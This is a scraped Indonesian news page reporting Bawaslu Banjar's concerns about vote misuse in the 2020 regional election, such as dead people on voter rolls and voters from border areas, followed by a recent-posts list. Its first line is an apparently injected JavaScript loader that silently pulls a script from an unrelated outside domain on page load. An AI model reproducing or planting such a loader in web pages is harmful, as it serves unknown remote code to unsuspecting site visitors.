(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kabupaten Banjar

Bawaslu: Potensi Penyalahgunaan Suara menjadi Salah Satu Kerawanan di Pilkada Banjar


KANALKALIMANTAN.COM, MARTAPURA – Sejumlah potensi kerawanan di Pilkada 2020 menjadi perhatian Badan Pengawas Pemilu (Bawaslu) Kabupaten Banjar. Salah satunya adalah potensi penyalagunaan suara.

Divisi Pengawasan Bawaslu Banjar Hairul Falah mengatakan, potensi tersebut muncul terkait kondisi geografis Kabupaten Banjar. Selain banyaknya wilayah yang relatif terpencil, banyak juga lokasi yang berbatasan langsung dengan kabupaten lain yang juga menggelar Pilkada.

“Untuk itu kami akan menganalisa dan mengawasi kerja kawan-kawan dari Panitia Pemuktahiran Data Pemilih (PPDP) saat proses pencoklitan yang dimulai dari tanggal 15 Juli- 13 Agustus. Ini dimaksudkan agar data pemilih yang bukan warga kabupaten Banjar bisa dihilangkan. Termasuk memastikan yang benar-benar menjadi Data Pemilih Tetap (DTP),” paparnya.

Terkait sejumlah temuan Panitia Pengawas Kecamatan (Panwascam) yang sebelumya menemukan data orang meninggal menjadi pendukung salah satu calon, lalu warga yang keberatan tentang penyalahgunaan bukti dukungan yang sempat mendatagi kantor KPU, pihaknya mengatakan sudah menelusuri dan menyatakan dukungan dalam data Tidak Memenuhi Syarat ( TMS)

 

Terkait kemungkinan masih adanya orang yang sudah meninggal tapi masuk dalam Daftar Pemilih Tetap (DPT), Hairul berharap pihak keluarga secepatnya untuk menyampaikan ke Catatan Sipil dan KPU. “Kalaupun hal ini terjadi kita akan melakukan penelusuran langsung di Tempat Pemungutan Suara ( TPS). Nanti akan dicocokkan kembali apabila seandainya terjadi juga terkait orang meninggal yang masih terdaftar sebagai pemilih ada berapa suara tersisa yang ada di setiap TPS,” katanya.

Sedangkan untuk orang yang lupa ingatan atau gila yang memenuhi syarat dalam untuk DPT, juga tidak lepas dari pengawasan Bawaslu. Sebab dalam Undang- undang tidak boleh menghilangkan konstitusi orang atau menghilangkan hak pilih seseorang.

“Tetapi ada hak konstitusi orang yang lupa ingatan sebagai pemilih tetapi tidak boleh di salah gunakan,” paparnya.

Sejauh ini, untuk mengatasi kerawanan- kerawanan pelanggaran jelang Pilkada selain melakukan penelusuran langsung, Bawaslu juga memerintahkan Panwascam dan Panitia Pengawas Kecataman /Desa ( PPKD) untuk selalu mengawasi kejadian di lapangan.

“Contoh Kerawanan seperti inilah yang nantinya kita akan kita terlusuri terus. Tentunya kerjasama dari berbagai elemen masyarakat juga tentunya bisa menegakkan penindakan pelanggaran Pilkada” katanya.(Kanalkalimantan.com/putra)

 

Reporter : Putra
Editor : Cell

Desy Arfianty

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

2 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

4 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

5 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

6 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

1 hari ago

This website uses cookies.